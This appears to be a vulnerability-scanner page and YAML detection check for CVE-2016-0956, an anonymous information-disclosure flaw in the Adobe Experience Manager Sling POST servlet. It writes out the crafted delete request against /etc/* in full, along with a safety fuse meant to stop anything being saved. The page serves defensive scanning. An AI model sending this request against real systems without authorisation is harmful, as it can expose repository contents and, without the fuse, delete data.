Adobe Experience Manager — 1 vulnerability check
noctis ships 1 vulnerability check for Adobe Experience Manager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Adobe Experience Manager / Apache Sling POST servlet — /etc node disclosure
| CVE | CVE-2016-0956 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/adobe-aem/CVE-2016-0956.yaml |
Sends an anonymous Sling POST `:operation=delete` with a wildcard `:applyTo=/etc/*` (plus a commit-time safety fuse — the mandatory jcr:content of a stock nt:file — so the save always fails and nothing is ever persisted) to /libs/granite/core/content/login.html and reports the instance when the error page's ChangeLog lists node names under /etc.
How noctis detects it
- HTTP(S) request
GET /libs/granite/core/content/login/favicon.ico.json - HTTP(S) request
GET /libs/granite/core/content/login/favicon.ico/jcr:content - Checks
fuse_meta.bodyfor"jcr:primaryType"\s*:\s*"nt:file" - HTTP(S) request
POST /libs/granite/core/content/login.htmlwith a crafted body - Checks
sling.bodyforid="ChangeLog[\s\S]*?deleted\(("|"|")/etc/[A-Za-z0-9_:.-]+→ finding QoD 75: Anonymous Sling POST (:operation=delete, :applyTo=/etc/* + commit-time fuse, nothing persisted) to /libs/granite/core/content/login.html re…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-0956
- https://helpx.adobe.com/security/products/experience-manager/apsb16-05.html
Feed source — tests/vulnerabilities/adobe-aem/CVE-2016-0956.yaml
# Adobe Experience Manager / Apache Sling Servlets Post 2.3.6 — information disclosure
# (CVE-2016-0956, APSB16-05)
#
# The Sling POST servlet (bundled in AEM 5.6.1, 6.0.0 and 6.1.0) expands a wildcard
# `:applyTo=/etc/*` against every child node the anonymous session can see, records each
# one in the response ChangeLog, and only then fails to save. The HTTP 500 error page
# therefore lists the node names under /etc to an unauthenticated user.
#
# Ported from OpenVAS NVT 2016/gb_apache_sling_adobe_aem_info_disc_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.807066, GPL-2.0-only). Deviations, both deliberate:
#
# 1. Safety fuse. The NASL sends `:operation=delete` + `:applyTo=/etc/*` and relies on the
# anonymous user lacking delete rights; on an instance where it has them, the NASL
# really deletes every node under /etc. This feed adds a second `:applyTo` naming the
# mandatory `jcr:content` child of a stock nt:file
# (/libs/granite/core/content/login/favicon.ico). The repository refuses to commit an
# nt:file without its jcr:content (mandatory child node, checked at save time by both
# Jackrabbit 2 and Oak), so `session.save()` always fails and every transient removal
# is discarded — whatever the session's rights. Because the failure only happens at
# save, the ChangeLog entries for /etc/* are still rendered, so the disclosure shows.
# Sling silently skips an :applyTo path that does not resolve, and a node that is not
# the mandatory child of an nt:file gives no protection, so the POST is only sent when
# (a) favicon.ico.json reports `"jcr:primaryType":"nt:file"` and (b) its jcr:content is
# readable anonymously and served as an image — a soft-200 front end or a different
# node layout therefore means no POST at all (safe false negative).
# Checked against a real Apache Sling 12 (Oak, servlets.post 2.5.0) as admin, a user
# who CAN delete: with the fuse the POST failed (409), the ChangeLog listed the
# wildcard children and nothing was deleted; without it the children were deleted.
# A fuse that fails during the operation (e.g. `:applyTo=/`) does not work: Sling
# drops the ChangeLog when the operation itself throws, hiding the disclosure. For the
# same reason a repository that refuses the removal at `node.remove()` time (rather than
# at save) shows no ChangeLog and yields no finding.
#
# Scope note: stock Sling servlets.post >= 2.3.4 (2.3.6 included) answers 403 to a delete
# request carrying an extension (`login.html`) before touching any node. The request path is
# kept as in the NASL, which reports AEM 5.6.1-6.1 answering it with a 500 + ChangeLog; this
# feed fires on that same response only when it also lists /etc node names, so it never
# flags more than the NASL and never on the generic error page.
# 2. Stronger proof. The NASL flags any HTTP 500 that contains `id="ChangeLog` — the
# generic Sling error page. This feed requires the ChangeLog to list at least one
# `deleted("/etc/<node>")` entry, i.e. real node names disclosed to an anonymous user.
uid: 304e7e6c-cc1e-4e0b-b383-87444991af07
name: "Adobe Experience Manager / Apache Sling POST servlet — /etc node disclosure (CVE-2016-0956)"
description: |
Sends an anonymous Sling POST `:operation=delete` with a wildcard `:applyTo=/etc/*` (plus a
commit-time safety fuse — the mandatory jcr:content of a stock nt:file — so the save always
fails and nothing is ever persisted) to /libs/granite/core/content/login.html and reports the
instance when the error page's ChangeLog lists node names under /etc.
cves: [CVE-2016-0956]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.30
tags: [adobe, aem, sling, information-disclosure, apsb16-05]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-0956"
- "https://helpx.adobe.com/security/products/experience-manager/apsb16-05.html"
- "OpenVAS NVT 2016/gb_apache_sling_adobe_aem_info_disc_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.807066)"
steps:
# Safety-fuse preconditions (see header). All must hold or the POST is never sent.
- id: fuse-init
action: set_var
var_name: fuse_ok
var_value: false
- id: fuse-node-type
action: http_request
method: GET
path: "/libs/granite/core/content/login/favicon.ico.json"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fuse_meta
- id: fuse-node-readable
action: http_request
method: GET
path: "/libs/granite/core/content/login/favicon.ico/jcr:content"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fuse
- id: fuse-is-nt-file
action: match
source: fuse_meta.body
pattern: "\"jcr:primaryType\"\\s*:\\s*\"nt:file\""
condition: "fuse_meta.status == 200 && fuse.status == 200 && type_of(fuse.headers[\"content-type\"]) == \"string\" && fuse.headers[\"content-type\"].contains(\"image/\")"
on_match:
set_vars:
fuse_ok: true
- id: sling-post-wildcard
action: http_request
method: POST
path: "/libs/granite/core/content/login.html"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
# :applyTo=/etc/* then the commit-time safety fuse (see header) — never send one without the other
body: ":operation=delete&:applyTo=%2Fetc%2F*&:applyTo=%2Flibs%2Fgranite%2Fcore%2Fcontent%2Flogin%2Ffavicon.ico%2Fjcr%3Acontent"
condition: "fuse_ok == true"
store_as: sling
- id: changelog-lists-etc-nodes
action: match
source: sling.body
pattern: "id=\"ChangeLog[\\s\\S]*?deleted\\(("|"|\")/etc/[A-Za-z0-9_:.-]+"
condition: "fuse_ok == true && sling.status >= 400"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Anonymous Sling POST (:operation=delete, :applyTo=/etc/* + commit-time fuse, nothing persisted) to /libs/granite/core/content/login.html returned HTTP {{sling.status}} whose ChangeLog lists /etc node names: {{sling.body}}"